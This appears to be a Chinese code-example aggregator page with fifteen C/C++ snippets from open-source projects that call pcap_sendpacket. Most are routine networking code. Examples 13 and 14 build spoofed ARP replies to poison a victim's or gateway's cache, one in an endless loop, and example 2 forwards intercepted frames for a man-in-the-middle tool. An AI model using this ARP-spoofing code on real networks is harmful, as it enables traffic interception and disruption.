当前位置: 首页>>代码示例>>C++>>正文


C++ pcap_sendpacket函数代码示例

本文整理汇总了C++中pcap_sendpacket函数的典型用法代码示例。如果您正苦于以下问题:C++ pcap_sendpacket函数的具体用法?C++ pcap_sendpacket怎么用?C++ pcap_sendpacket使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了pcap_sendpacket函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。

示例1: uae_set_thread_priority

static void *uaenet_trap_threadw (void *arg)
{
	struct uaenetdata *sd = (struct uaenetdata*)arg;
	uae_set_thread_priority (1);
	sd->threadactivew = 1;
	uae_sem_post (&sd->sync_semw);
	while (sd->threadactivew == 1) {
		int32_t towrite = sd->mtu;
		uae_sem_wait (&sd->change_sem);
		if (sd->getfunc (sd->user, sd->writebuffer, &towrite)) {
			pcap_sendpacket (sd->fp, sd->writebuffer, towrite);
		}
		uae_sem_post (&sd->change_sem);
	}
	sd->threadactivew = 0;
	uae_sem_post (&sd->sync_semw);
	return 0;
}
开发者ID:Yamakuzure,项目名称:PUAE,代码行数:18,代码来源:uaenet.c

示例2: forward

void forward(const u_char *packet, size_t size, eth_addr_t to) {

	struct eth_hdr *header_ethernet;
	u_char *new_packet;
	int ret;
	size_t i;

	printf("We forward\n");
	printf("\t size of the packet = %ld\n", size);


	printf("A dump of what we received from the network : \n");
	for (i = 0 ; i < size ; i++) {
		printf("%02X ", packet[i]);
	}

	new_packet = malloc(sizeof(u_char) * size);

	if (new_packet == NULL) {
		perror("Error : cannot allocate memory for a new packet");
		exit(1);
	}

	memcpy(new_packet, packet, size);
	header_ethernet = (struct eth_hdr *)new_packet;

	memcpy(header_ethernet->eth_src.data, my_mac_addr.data, ETH_ADDR_LEN);
	memcpy(header_ethernet->eth_dst.data, to.data, ETH_ADDR_LEN);

	ret = pcap_sendpacket(handle, new_packet, size);

	if (ret < 0) {
		printf("\t ERROR : failed to forward packet\n");
		exit(1);
	}

	printf("A dump of what we sent to the network : \n");
	for (i = 0 ; i < size ; i++) {
		printf("%02X ", new_packet[i]);
	}

	printf("\n");
	free(new_packet);
}
开发者ID:fallen,项目名称:witm,代码行数:44,代码来源:forward.c

示例3: p_inject

static PyObject * p_inject (PyObject *self, PyObject *args)
{
  pcap_t * ppcap;
  Py_buffer pbuf;
  if (!PyArg_ParseTuple(args, "ls*", (long int*)&ppcap, &pbuf)) return NULL;
  if (!PyBuffer_IsContiguous(&pbuf, 'C'))
  {
    PyBuffer_Release(&pbuf);
    return PyErr_Format(PyExc_RuntimeError, "Buffer not contiguous");
  }
#ifdef WIN32
  int rv = pcap_sendpacket(ppcap, pbuf.buf, pbuf.len);
  rv = rv ? 0 : len;
#else
  int rv = pcap_inject(ppcap, pbuf.buf, pbuf.len);
#endif
  PyBuffer_Release(&pbuf);
  return Py_BuildValue("i", rv);
}
开发者ID:14gr1010,项目名称:software,代码行数:19,代码来源:pxpcap.cpp

示例4: pcap_send

void pcap_send(void)
{
#ifdef DEBUG_ALL
	{
		int i;
		fprintf(stderr, "send(%p, %d)\n", uip_buf, uip_len);
		for(i = 0; i < 32 && i < uip_len; i++)
		{
			fprintf(stderr, "%02x%s", uip_buf[i], 15 == i % 16 ? "\n" : " ");
		}
		if (0 != i % 16) fprintf(stderr, "\n");
	}
#endif
	if (0 > pcap_sendpacket(pcap_fp, uip_buf, uip_len))
	{
		perror("pcap_sendpacket");
		exit(1);
	}
}
开发者ID:BashfulBladder,项目名称:gargoyle,代码行数:19,代码来源:fon-flash.cpp

示例5: pcap_sendpacket

/** Transmit buffer over socket (non blocking).
* @param[in] port        = port context struct
* @param[in] idx      = index in tx buffer array
* @param[in] stacknumber   = 0=Primary 1=Secondary stack
* @return socket send result
*/
int ecx_portt::outframe(int idx, int stacknumber)
{
	int lp, rval;
	ec_stackT *stack;

	if (!stacknumber)
	{
		stack = &(this->stack);
	}
	else
	{
		stack = &(this->redport->stack);
	}
	lp = (*stack->txbuflength)[idx];
	rval = pcap_sendpacket(*stack->sock, reinterpret_cast<const u_char *>((*stack->txbuf)[idx].getEtherNetHeader()), lp);
	(*stack->rxbufstat)[idx] = EC_BUF_TX;

	return rval;
}
开发者ID:TABETA,项目名称:SOEM,代码行数:25,代码来源:ethercatbase.cpp

示例6: nif_pcap_sendpacket

static ERL_NIF_TERM
nif_pcap_sendpacket(ErlNifEnv *env, int argc, const ERL_NIF_TERM argv[])
{
    EWPCAP_STATE *ep = NULL;
    ErlNifBinary buf = {0};


    if (!enif_get_resource(env, argv[0], EWPCAP_RESOURCE, (void **)&ep) || ep->p == NULL)
        return enif_make_badarg(env);

    if (!enif_inspect_iolist_as_binary(env, argv[1], &buf))
        return enif_make_badarg(env);

    if (pcap_sendpacket(ep->p, buf.data, buf.size) < 0)
        return enif_make_tuple2(env,
                                atom_error,
                                enif_make_string(env, pcap_geterr(ep->p), ERL_NIF_LATIN1));

    return atom_ok;
}
开发者ID:hfeeki,项目名称:ewpcap,代码行数:20,代码来源:ewpcap.c

示例7: us_rawnet_send

ssize_t us_rawnet_send(us_rawnet_context_t *self, const uint8_t dest_mac[6], const void *payload, ssize_t payload_len) {
    bool r = false;
    pcap_t *m_pcap = (pcap_t *)self->m_pcap;

    if (m_pcap) {
        uint8_t buffer[2048];
        uint8_t *data = buffer + 14;
        if( dest_mac ) {
            memcpy((void *)buffer, (void *)dest_mac, 6);
        } else {
            memcpy((void *)buffer, (void *)self->m_default_dest_mac, 6);
        }
        memcpy((void *)(buffer + 6), (void *)self->m_my_mac, 6);
        buffer[12] = US_GET_BYTE_1(self->m_ethertype);
        buffer[13] = US_GET_BYTE_0(self->m_ethertype);
        memcpy(data, payload, payload_len);
        r = pcap_sendpacket(m_pcap, buffer, (int)payload_len + 14) == 0;
    } else {
        r = false;
    }
    return r ? payload_len : -1;
}
开发者ID:andrew-elder,项目名称:microsupport,代码行数:22,代码来源:us_rawnet.c

示例8: pcap_netif_tx

rt_err_t pcap_netif_tx( rt_device_t dev, struct pbuf* p)
{
	struct pbuf *q;
	rt_uint8_t *ptr;
    rt_uint8_t buf[2048];
    rt_err_t result = RT_EOK;
    pcap_t *tap;
    int res;

    tap = NETIF_PCAP(dev);

	/* lock EMAC device */
	rt_sem_take(&sem_lock, RT_WAITING_FOREVER);

	/* copy data to tx buffer */
	q = p;
	ptr = (rt_uint8_t*)buf;
	while (q)
	{
		memcpy(ptr, q->payload, q->len);
		ptr += q->len;
		q = q->next;
	}

    rt_enter_critical();
    res = pcap_sendpacket(tap, buf, p->tot_len);
    rt_exit_critical();

    if (res != 0)
    {
        rt_kprintf("Error sending the packet: \n", pcap_geterr(tap));
        result = -RT_ERROR;
    }

	/* unlock EMAC device */
	rt_sem_release(&sem_lock);

    return result;
}
开发者ID:bright-pan,项目名称:smart-lock,代码行数:39,代码来源:pcap_netif.c

示例9: uae_set_thread_priority

static void *uaenet_trap_threadw (void *arg)
{
	struct uaenetdatawin32 *sd = (struct uaenetdatawin32*)arg;

	uae_set_thread_priority (NULL, 1);
	sd->threadactivew = 1;
	uae_sem_post (&sd->sync_semw);
	while (sd->threadactivew == 1) {
		int donotwait = 0;
		int towrite = sd->mtu;
		uae_sem_wait (&sd->change_sem);
		if (sd->getfunc ((struct s2devstruct*)sd->user, sd->writebuffer, &towrite)) {
			pcap_sendpacket (sd->fp, sd->writebuffer, towrite);
			donotwait = 1;
		}
		uae_sem_post (&sd->change_sem);
		if (!donotwait)
			WaitForSingleObject (sd->evttw, INFINITE);
	}
	sd->threadactivew = 0;
	uae_sem_post (&sd->sync_semw);
	return 0;
}
开发者ID:Vairn,项目名称:WinUAE,代码行数:23,代码来源:win32_uaenet.cpp

示例10: edrv_sendTxBuffer

//------------------------------------------------------------------------------
tOplkError edrv_sendTxBuffer(tEdrvTxBuffer* pBuffer_p)
{
    int         pcapRet;

    // Check parameter validity
    ASSERT(pBuffer_p != NULL);

    //TRACE("%s: TxB=%p (%02X), last TxB=%p\n", __func__, pBuffer_p, (UINT)pBuffer_p->pBuffer[5], edrvInstance_l.pTransmittedTxBufferLastEntry);

    if (pBuffer_p->txBufferNumber.pArg != NULL)
        return kErrorInvalidOperation;

    EnterCriticalSection(&edrvInstance_l.criticalSection);
    if (edrvInstance_l.pTransmittedTxBufferLastEntry == NULL)
    {
        edrvInstance_l.pTransmittedTxBufferLastEntry =
            edrvInstance_l.pTransmittedTxBufferFirstEntry = pBuffer_p;
    }
    else
    {
        edrvInstance_l.pTransmittedTxBufferLastEntry->txBufferNumber.pArg = pBuffer_p;
        edrvInstance_l.pTransmittedTxBufferLastEntry = pBuffer_p;
    }
    LeaveCriticalSection(&edrvInstance_l.criticalSection);

    pcapRet = pcap_sendpacket(edrvInstance_l.pPcap, pBuffer_p->pBuffer,
                              (int)pBuffer_p->txFrameSize);
    if (pcapRet != 0)
    {
        DEBUG_LVL_EDRV_TRACE("%s() pcap_sendpacket returned %d (%s)\n",
                             __func__, pcapRet, pcap_geterr(edrvInstance_l.pPcap));
        return kErrorInvalidOperation;
    }

    return kErrorOk;
}
开发者ID:Kalycito-open-automation,项目名称:openPOWERLINK_V2,代码行数:37,代码来源:edrv-pcap_win.c

示例11: RETURN_CODE

	int	PcapWrapper::sendPacket(int adapter_id, unsigned char* packet_buffer, int buffer_size) {
	#ifdef WIN32
		if (!checkForAdapterId(adapter_id)) {
			// specified adapter not found
			RETURN_CODE(RC(ADAPTER_NOT_FOUND));
		}
		pcap_t*	handle = NULL;
		if (static_cast<int>(m_adapter_handles.size()) > adapter_id) {
			handle = m_adapter_handles[adapter_id];
		}
		if (!handle) {
			fprintf(stderr, "Error: retrievePacket() called on unopened adapter.\n");
			RETURN_CODE(RC(ACCESS_ON_UNOPENED_HANDLE));
		}
		if (pcap_sendpacket(handle, packet_buffer, buffer_size ) < 0) {
			fprintf(stderr, "Error: Failed to send the given packet: \n", pcap_geterr(handle));
			RETURN_CODE(RC(UNSPECIFIED_ERROR_OCCURED));
		}
		RETURN_CODE(RC(NORMAL_EXECUTION));
	#else
		fprintf(stderr, "Error: Wrong function called. pcap_sendpacket(...) only works with WinPcap.\n");
		RETURN_CODE(RC(UNSPECIFIED_ERROR_OCCURED));
	#endif
	}
开发者ID:Ryan--Yang,项目名称:whisper-library,代码行数:24,代码来源:pcapwrapper.cpp

示例12: prvLowLevelOutput

static err_t prvLowLevelOutput( struct netif *pxNetIf, struct pbuf *p )
{

    /* This is taken from lwIP example code and therefore does not conform
    to the FreeRTOS coding standard. */

    struct pbuf *q;
    static unsigned char ucBuffer[ 1520 ];
    unsigned char *pucBuffer = ucBuffer;
    unsigned char *pucChar;
    struct eth_hdr *pxHeader;
    u16_t usTotalLength = p->tot_len - ETH_PAD_SIZE;
    err_t xReturn = ERR_OK;

    ( void ) pxNetIf;

#if defined(LWIP_DEBUG) && LWIP_NETIF_TX_SINGLE_PBUF
    LWIP_ASSERT("p->next == NULL && p->len == p->tot_len", p->next == NULL && p->len == p->tot_len);
#endif

    /* Initiate transfer. */
    if( p->len == p->tot_len ) {
        /* No pbuf chain, don't have to copy -> faster. */
        pucBuffer = &( ( unsigned char * ) p->payload )[ ETH_PAD_SIZE ];
    } else {
        /* pbuf chain, copy into contiguous ucBuffer. */
        if( p->tot_len >= sizeof( ucBuffer ) ) {
            LINK_STATS_INC( link.lenerr );
            LINK_STATS_INC( link.drop );
            snmp_inc_ifoutdiscards( pxNetIf );
            xReturn = ERR_BUF;
        } else {
            pucChar = ucBuffer;

            for( q = p; q != NULL; q = q->next ) {
                /* Send the data from the pbuf to the interface, one pbuf at a
                time. The size of the data in each pbuf is kept in the ->len
                variable. */
                /* send data from(q->payload, q->len); */
                LWIP_DEBUGF( NETIF_DEBUG, ("NETIF: send pucChar %p q->payload %p q->len %i q->next %p\n", pucChar, q->payload, ( int ) q->len, ( void* ) q->next ) );
                if( q == p ) {
                    memcpy( pucChar, &( ( char * ) q->payload )[ ETH_PAD_SIZE ], q->len - ETH_PAD_SIZE );
                    pucChar += q->len - ETH_PAD_SIZE;
                } else {
                    memcpy( pucChar, q->payload, q->len );
                    pucChar += q->len;
                }
            }
        }
    }

    if( xReturn == ERR_OK ) {
        /* signal that packet should be sent */
        if( pcap_sendpacket( pxOpenedInterfaceHandle, pucBuffer, usTotalLength ) < 0 ) {
            LINK_STATS_INC( link.memerr );
            LINK_STATS_INC( link.drop );
            snmp_inc_ifoutdiscards( pxNetIf );
            xReturn = ERR_BUF;
        } else {
            LINK_STATS_INC( link.xmit );
            snmp_add_ifoutoctets( pxNetIf, usTotalLength );
            pxHeader = ( struct eth_hdr * )p->payload;

            if( ( pxHeader->dest.addr[ 0 ] & 1 ) != 0 ) {
                /* broadcast or multicast packet*/
                snmp_inc_ifoutnucastpkts( pxNetIf );
            } else {
                /* unicast packet */
                snmp_inc_ifoutucastpkts( pxNetIf );
            }
        }
    }

    return xReturn;
}
开发者ID:peterliu2,项目名称:FreeRTOS,代码行数:75,代码来源:ethernetif.c

示例13: main


//.........这里部分代码省略.........
		)) == NULL)
	{
		fprintf(stderr,"/nUnable to open the adapter. %s is not supported by WinPcap/n",d->name);
		/* Free the device list */
		pcap_freealldevs(alldevs);
		return -1;
	}

	//初始化ARP Package
	printf("1.) ARP Requset 2.)ARP Reply Attack : ");
	scanf("%d" ,&choice);
	switch(choice)
	{
	case 1:	
		//+8以去掉"rpcap://"
		mac = GetSelfMac(d->name+8);
		printf("\nMy Mac : ");
		PrintHexDecimal(mac);
		Src_IP = inet_addr("203.64.84.139");
		Dst_IP = inet_addr("203.64.84.174");
		//Dst_IP = inet_addr("203.64.84.144");
		InitARPRequestPackage(mac,Src_IP,Dst_IP);
		break;
	case 2:
		mac = GetSelfMac(d->name+8);
		Src_IP = inet_addr("203.64.84.1");
		//Dst_IP = inet_addr("203.64.84.152");
		Dst_IP = inet_addr("203.64.84.136");
		Victim_MAC = (PMAC) malloc(sizeof(MAC));
		Victim_MAC->byte[0] = 0x08;
		Victim_MAC->byte[1] = 0x60;
		Victim_MAC->byte[2] = 0x6E;
		Victim_MAC->byte[3] = 0x48;
		Victim_MAC->byte[4] = 0x18;
		Victim_MAC->byte[5] = 0x3E;
	/*	Victim_MAC->byte[0] = 0x08;
		Victim_MAC->byte[1] = 0x60;
		Victim_MAC->byte[2] = 0x6E;
		Victim_MAC->byte[3] = 0x48;
		Victim_MAC->byte[4] = 0x1D;
		Victim_MAC->byte[5] = 0x30;*/
		InitARPReplyPackage(mac,Victim_MAC,Src_IP,Dst_IP);
		free(Victim_MAC);

		arpPacketage =(UCHAR *) malloc(sizeof(arpPacket));
		memcpy(arpPacketage, &arpPacket, sizeof(arpPacket));
		/* Send down the packet */
		while (1)
		{
			if(pcap_sendpacket(fp, arpPacketage, sizeof(arpPacket)) != 0){
				printf("\nError sending the packet: \n", pcap_geterr(fp));
				break;
			}
			++count;
			printf("\nArp Reply count : %d",count);
		}
		break;
	}
	arpPacketage =(UCHAR *) malloc(sizeof(arpPacket));
	memcpy(arpPacketage, &arpPacket, sizeof(arpPacket));

	/* Send down the packet */
	if (pcap_sendpacket(fp, arpPacketage, sizeof(arpPacket) /* size */) != 0)
	{
		printf("\nError sending the packet: \n", pcap_geterr(fp));
		return;
	}

	free(arpPacketage);
	/* Retrieve the packets */
	while((res = pcap_next_ex( fp, &header, &pkt_data)) >= 0)
	{
		if(res == 0)
			// Timeout elapsed
				continue;
		/* convert the timestamp to readable format */
		seconds = header->ts.tv_sec;
		localtime_s( &tbreak , &seconds);
		strftime (timestr , 80 , "%d-%b-%Y %I:%M:%S %p" , &tbreak );
		//printf("%s,%.6d len:%d\n", timestr, header->ts.tv_usec, header->len);
		//Ethernet header
		ethhdr = (ETHHDR *)pkt_data;
		if(ntohs(ethhdr->type) == EPT_ARP){	
			ARPReply = (ETH_ARPHDR *) (pkt_data+sizeof(ETHHDR));	
			if(ARPReply->arp_spa==Dst_IP){	
				printf("My_Need_MAC: ");
				PrintHexDecimal(ARPReply->arp_sha);
			}
		}
	}

	if(res == -1){
		printf("Error reading the packets: %s\n", pcap_geterr(fp));
		return -1;
	}
	/* At this point, we don't need any more the device list. Free it */
	pcap_freealldevs(alldevs);
	/* start the capture */
	return 1;
}
开发者ID:GuojunSu,项目名称:NetWork-Security,代码行数:101,代码来源:arp.c

示例14: send_arp_attack

// ARP 스푸핑 시작
void send_arp_attack(pcap_t *adhandle)
{
	u_int i;
	// 패킷 만들기
	struct ArpHeader AH;
	struct ether_header eh;
	int packet_num = 0;
	u_char packet[42];

	for (i = 0; i < 6; i++)			// packet 1~6
	{
		eh.dst_addr[i] = table[!who].mac_address[i];
		packet[packet_num++] = eh.dst_addr[i];
		//	printf("%02x ", eh.dst_addr[i]);
	}
	printf("\n");
	for (i = 0; i < 6; i++)			// packet 6~12
	{
		eh.src_addr[i] = my.Mac[i];
		packet[packet_num++] = eh.src_addr[i];
	}
	eh.ether_type = 0x0806; //htons(0x0806) packet 13~14
							// 패킷 삽입  추후에 식을 계산해, 값 할당
	packet[packet_num++] = 0x08;	// ether_type
	packet[packet_num++] = 0x06;	// ether_type
	packet[packet_num++] = 0x00;	// Hardware type
	packet[packet_num++] = 0x01;	// Hardware type
	packet[packet_num++] = 0x08;	// protocol type
	packet[packet_num++] = 0x00;	// protocol type
	packet[packet_num++] = 0x06;	// Hardware size
	packet[packet_num++] = 0x04;	// protocol size
	packet[packet_num++] = 0x00;	// opcode
	packet[packet_num++] = 0x02;	// opcode		// 1이면 요청, 2이면 응답

	for (i = 0; i < 6; i++)				// 보내는 사람 맥 주소
	{
		AH.sender_mac[i] = table[who].mac_address[i];		// 게이트에 보낼땐 호스트의 맥 호스트는 게이트의 맥
		packet[packet_num++] = AH.sender_mac[i];			// 여기서 부터 맥 주소를 엇갈리게 보낸다.
	}
	printf("\n");
	for (i = 0; i < 4; i++)				// 보내는 사람 아이피 주소
	{
		packet[packet_num++] = AH.sender_addr[i] = my.IP[i];
	}
	for (i = 0; i < 6; i++)			// 타겟의 
	{
		packet[packet_num++] = table[!who].mac_address[i];
	}

	for (i = 0; i < 4; i++)			// 타겟의 아이피
	{
		packet[packet_num++] = table[!who].Ip[i];
	}
	i = 0;
//	printf("%d\n", who);
	while (i <10)
	{
		if (pcap_sendpacket(adhandle, packet, 42) != 0)		// 타겟 IP 공격
		{
			printf("Error sending the packet: \n");
			return;
		}
		pcap_loop(adhandle, 1, receiver_handler, NULL);		// 패킷 뽑기
		i++;
	}
	who = !who;
}
开发者ID:brorica,项目名称:brororol,代码行数:68,代码来源:[bob5][특기병]send_arp[권민재].c

示例15: main

/* main function */
int main()
{
	char *dev;
	char erbuf[PCAP_ERRBUF_SIZE];
	struct timeval tim;
	struct pcap_pkthdr hdr;
	char *point;
	char str1[50];
	int i=0,j=0,counter=0;
	char ptr[200];
	pcap_t *descr1;
	/* For setting signal handler */	
	struct sigaction myAction;       
	struct itimerval timer;
	eth=(struct ethhdr *)malloc(sizeof(struct ethhdr));
	len=sizeof(struct ethhdr);
	strcpy(str1,"\0");
	packet=(char*)malloc(1514);
	point=(char *)malloc(100);

	dev=pcap_lookupdev(erbuf);
	if(dev==NULL)
	{
		printf("\n\t\terrbuf : %s\n\n",erbuf);
		exit(1);
	}
	
	descr=pcap_open_live(dev,BUFSIZ,0,-1,erbuf);
	if(descr==NULL)
	{
		printf("\n\t\tCannot open:%s\n",erbuf);
		exit(1);
	}

	do
	{
		printf("\n\t\tWaiting for INIT packet from client : %d \n",counter+1);
		i=pcap_loop(descr,1,my_callback,NULL);// wait for INIT packet
		ether_head();
        	strcpy(str1,"\0");
		strcpy(str1,"SYN 1.");
		memcpy(packet+14,str1,sizeof(str1));

		printf("\n\t\tSending SYNC packet to client : %d\n",counter+1);
		counter++;
		/* Send sync packet containing T1 */		
		i=pcap_sendpacket(descr,packet,1514);  
		if(i==-1)
		{	
			pcap_perror(descr,ptr);
			printf("\n\t\tERROR : %s\n",ptr);
			printf("\n\t\tError in inject function!!!\n");
		}
		
		memset(&myAction,0,sizeof(struct sigaction));
		myAction.sa_handler = CatchAlarm;

		/* block everything in handler */
    		if (sigfillset(&myAction.sa_mask) < 0) 
        		printf("sigfillset() failed");
    		myAction.sa_flags = 0;

    		if (sigaction(SIGALRM, &myAction, 0) < 0)
        		printf("sigaction() failed for SIGALRM");

		alarm(TIMEOUT_SECS);
		pcap_setdirection(descr,PCAP_D_IN);

		/* Wait for packet containig loop for T3 */
		i=pcap_loop(descr,1,my_callback,NULL); 
		if(i==-1)
			printf("\n\n\t\tError in pcap_loop\n");
		else if(i==-2)
		{
			strcpy(str1,"\0");
			strcpy(str1,"ERROR ");       //new
			descr1=pcap_open_live(dev,BUFSIZ,0,-1,erbuf);		
			if(descr1==NULL)
			{
				printf("\n\t\tCannot open:%s\n",erbuf);
				exit(1);
			}
			memcpy(packet+14,str1,sizeof(str1));
			i=pcap_sendpacket(descr1,packet,1514);  /* Sending error packet */
			if(i==-1)
				pcap_perror(descr1,point);
			printf("\n\t\tT3 not received... exiting\n");
			continue;
			pcap_close(descr1);
			
				
		}
		else
		{
			alarm(0);
			printf("\n\t\tDelay request packet received in time\n");
		}

		ether_head();	
//.........这里部分代码省略.........
开发者ID:anujakench,项目名称:Final-Year-Project,代码行数:101,代码来源:master.c


注:本文中的pcap_sendpacket函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。